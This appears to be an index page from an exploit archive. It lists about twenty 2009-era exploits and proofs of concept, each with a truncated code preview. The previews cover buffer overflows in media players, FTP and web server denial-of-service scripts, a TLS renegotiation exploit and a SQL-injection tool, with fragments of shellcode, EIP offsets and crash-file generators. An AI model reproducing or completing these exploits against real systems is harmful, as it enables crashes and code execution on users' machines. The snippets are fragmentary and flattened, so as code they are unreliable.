Easy RM to MP3 2.7.3.700 - Local Buffer Overflow

!/usr/bin/python Exploit for against Easy RM to MP3 2.7.3.700 12.2.2009 Author: Ron Henry - [email protected] - dijital1 Version: Easy RM to MP3 2.7.3.700 Tested against WinXP SP3 - English outputfile = "astley.m3u" shellcode="A" 26071 Offset to EIP - Windows XP SP3 shellcode+="\x25\x96\xa0\x7c"...

TLS - Renegotiation

TLS - Renegotiation !/usr/bin/env python RedTeam Pentesting GmbH [email protected] http://www.redteam-pentesting.de PoC exploit for the TLS renegotiation vulnerability CVE-2009-3555 License ------- CC-BY-SA http://creativecommons.org/licenses/by-sa/3.0/ Timeline -------- 2009-12-21...

Millenium MP3 Studio 2.0 pls Buffer Overflow Exploit

Exploit for unknown platform in category local exploits ==================================================== Millenium MP3 Studio 2.0 pls Buffer Overflow Exploit ==================================================== Title: Millenium MP3 Studio 2.0 pls Buffer Overflow Exploit CVE-ID: OSVDB-ID:...

Baby Web Server 2.7.2 Vulnerbility found Denial of Service(0day)

Exploit for unknown platform in category dos / poc ================================================================ Baby Web Server 2.7.2 Vulnerbility found Denial of Service0day ================================================================ Title: Baby Web Server 2.7.2 Vulnerbility found Denia...

Home FTP Server 'MKD' Command Directory Traversal Vulnerability

No description provided by source. !/usr/bin/python import socket import sys def Usage: print "Usage: ./expl.py servip Username password\n" print "Example:./expl.py 192.168.48.183 anonymous anonymous\n" if lensys.argv 4: Usage sys.exit1 else: hostname=sys.argv1 username=sys.argv2 passwd=sys.argv3...

BigAnt Server 2.50 SP1 (ZIP File) Local Buffer Overflow PoC

Exploit for unknown platform in category dos / poc =========================================================== BigAnt Server 2.50 SP1 ZIP File Local Buffer Overflow PoC =========================================================== !/usr/bin/env python BigAnt Server 2.50 SP1 Local Buffer Overflow Po...

PowerISO 4.0 - Local Buffer Overflow (PoC)

!/usr/bin/env python Poweriso 4.0 Local Buffer Overflow PoC Found By: DrIDE Tested On: XPSP3 Usage: Create New ISO, Add a New Folder, Paste to Rename Folder, Click Save Notes: This must have been fixed somewhere between 4.0 and 4.7 ''' EAX 00ADDDC0 ECX 00000000 EDX 00004000 EBX 00000000 ESP...

FtpXQ FTP Server 3.0 Remote Denial of Service Exploit (auth)

No description provided by source. !/usr/bin/python print "" print " Iranian Pentesters Home " print " Www.Pentesters.Ir " print " PLATEN - H.jafari - " print " FtpXQ FTP Server 3.0 Remote Denial Of Service Exploit " print " author: PLATEN " print " E-mail && blog: " print " hjafari.blogspot.com ...

Tuniac v.090517c (.PLS File) Local Crash PoC

No description provided by source. !/usr/bin/env python Tuniac v.090517c .PLS Crash PoC By : zAx http://sourceforge.net/projects/tuniac/files/tuniac/090517/TuniacSetup090517c.exe/download buffer = "playlist\x0ANumberOfEntries=1\x0AFile1=http://" + "\x41" 10000; f = open'CrashPoc.PLS','w';...

TFTPUtil GUI 1.3.0 - Remote Denial of Service

!/usr/bin/python import socket import sys from time import Download:http://www.brothersoft.com/tftputil-131537.html Note; Good Ramadan For all MuSLimS if lensys.argv!=2: print "xTFTPUtil GUI 1.3.0 GUI Remote Denial Of Service Exploit" print "xAuthor : ThE g0bL!N" print "xBig Thanx : His0k4\n" pri...

WAR-FTPD 1.65 (MKD/CD Requests) Denial of Service Vuln

Exploit for unknown platform in category dos / poc ====================================================== WAR-FTPD 1.65 MKD/CD Requests Denial of Service Vuln ====================================================== WAR-FTPD 1.65 MKD & CD requests Remote Denial of Service exploited by opt!x hacker...

Mac OS X 10.5.7 (.CHM File) Local Finder.app Denial of Service Exploit

Exploit for unknown platform in category dos / poc ====================================================================== Mac OS X 10.5.7 .CHM File Local Finder.app Denial of Service Exploit ====================================================================== !/usr/bin/env python import os; pri...

ImTOO MPEG Encoder 3.1.53 - '.cue' / '.m3u' Local Buffer Overflow (PoC)

!/usr/bin/python print "ImTOO MPEG Encoder 3.1.53 .cue/.m3u local stack overlow POC" print " finded by : opt!x hacker " print "download: http://www.soft32.com/download/63-300154-1/mpeg-encoder.exe " junk = "\x41"4 file=open"crash.m3u","w" file=open"crash.cue","w" file.writejunk file.close...

Groovy Media Player 1.2.0 (.m3u) Local Buffer Overflow PoC

Exploit for unknown platform in category dos / poc ========================================================== Groovy Media Player 1.2.0 .m3u Local Buffer Overflow PoC ========================================================== !/usr/bin/python print "Groovy Media Player 1.2.0 .m3u local stack...

Amaya 11.2 W3C Editor Buffer Overflow

!/usr/bin/python | || | / \ | | | | | | | | | -374 bytes. shellcode = "JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI" "TiKyosYyyN8YzN9IT4utL4SkoqRSwcUOJKKJ7rMSzKKLIrkDysv" "cONtBUOjKrQCwEscPlFEWcWJJVuk9pPkCPqqMeokZTQPKLTkoQa" "ws8qYJFZmKLsbOVZBVvxEzfPdOwnQ921l6Q4OOyN362JfnrQSmU"...

Live For Speed 2 Version Z (.mpr ) Buffer Overflow Exploit (SEH)

No description provided by source. !/usr/bin/python | || | / \ | | | | | | | | | - | | | / / | | |||| || // / |\ || Bug : Live For Speed 2 Version Z .mpr Buffer Overflow Exploit SEH Tested on : Xp sp3 ENVB Original exploit : http://www.milw0rm.com/exploits/9142 Seh Exploit : His0k4 Greetings :...

HP Data Protector 4.00-SP1b43064 Remote Memory Leak/Dos Exploit

Exploit for unknown platform in category dos / poc =============================================================== HP Data Protector 4.00-SP1b43064 Remote Memory Leak/Dos Exploit =============================================================== !/usr/bin/env python POC Memory disclosure/ Denial Of...

Peel E-Commerce SQL Injection

!/usr/bin/python This was written for educational purpose only. Use it at your own risk. Author will be not responsible for any damage! !!! Special greetz for my friend sinner01 !!! !!! Special thanx for d3hydr8,low1z and rsauron who inspired me !!! . . | / | | \ \ | / / |\ \ \ |/ // / /\ \ / |/...

Google Cross Site Scripting

Universal XSS Vulnerability in all Google Services can compromise your personal information May 8th, 2009 Vulnerability Reported: 04/18/2009 9.33 pm Google’s Response: 04/18/2009 10.19 pm Wow! that was super fast for Saturday : Vulnerability Fixed: 05/05/2009 7.05 pm Change Propogated: 05/07/2009...

IceWarp Merak Mail Server 9.4.1 - 'Forgot Password' Input Validation

source: https://www.securityfocus.com/bid/34827/info IceWarp Merak Mail Server is prone to an input-validation vulnerability because it uses client-supplied data when performing a 'Forgot Password' function. Attackers can exploit this issue via social-engineering techniques to obtain valid users'...